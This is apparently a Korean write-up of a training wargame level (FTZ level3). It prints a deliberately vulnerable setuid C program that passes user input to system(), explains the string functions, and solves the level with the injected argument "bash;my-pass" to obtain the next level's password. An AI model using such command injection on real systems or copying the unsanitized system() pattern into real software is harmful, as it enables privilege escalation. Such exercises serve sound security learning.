```
login as: level3
level3@192.168.98.133's password:
[level3@ftz level3]$ ls
hint  public_html  tmp
```

```
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
```

argc=arguments count로 main 함수에 전달된 인자의 개수를 의미

argv=arguments vector로 가변적인 개수의 문자열, 메인함수에 전달되는 실질적인 정보로 문자열의 배열을 의미하며 첫번째 문자열은 프로그램의 실행 경로로 항상 고정되어 있다.

cmd 변수에 100의 공간을 할당

인자의 개수가 2가 아니면 if문 실행

strcpy → 문자열을 복사

ex) strcpy(A,B)

→ B의 내용을 A로 복사

strcat → 문자열 이어 붙이기

ex) strcat(A,B)

→ A 뒤에 B붙이기

cmd 실행

; 사용

" " 사용

```
[level3@ftz public_html]$ find / -user level4 -perm -4000 2> /dev/null
/bin/autodig
[level3@ftz public_html]$ /bin/autodig
Auto Digger Version 0.9
Usage : /bin/autodig host
```

실행에 실패했다

→ 앞의 힌트가 동시에 여러 명령어를 사용하고 문자열 형태로 명령어를 전달하는 것이니

bash와 패스워드를 볼 수 있는 my-pass를 동시에 사용하기 위해 bash;my-pass

bash;my-pass을 전달하기 위해 "bash;my-pass"

→/bin/autodig "bash;my-pass"

```
[level3@ftz level3]$ /bin/autodig "bash;my-pass"

dig: Couldn't find server 'bash': Name or service not known

Level4 Password is "suck my brain".
```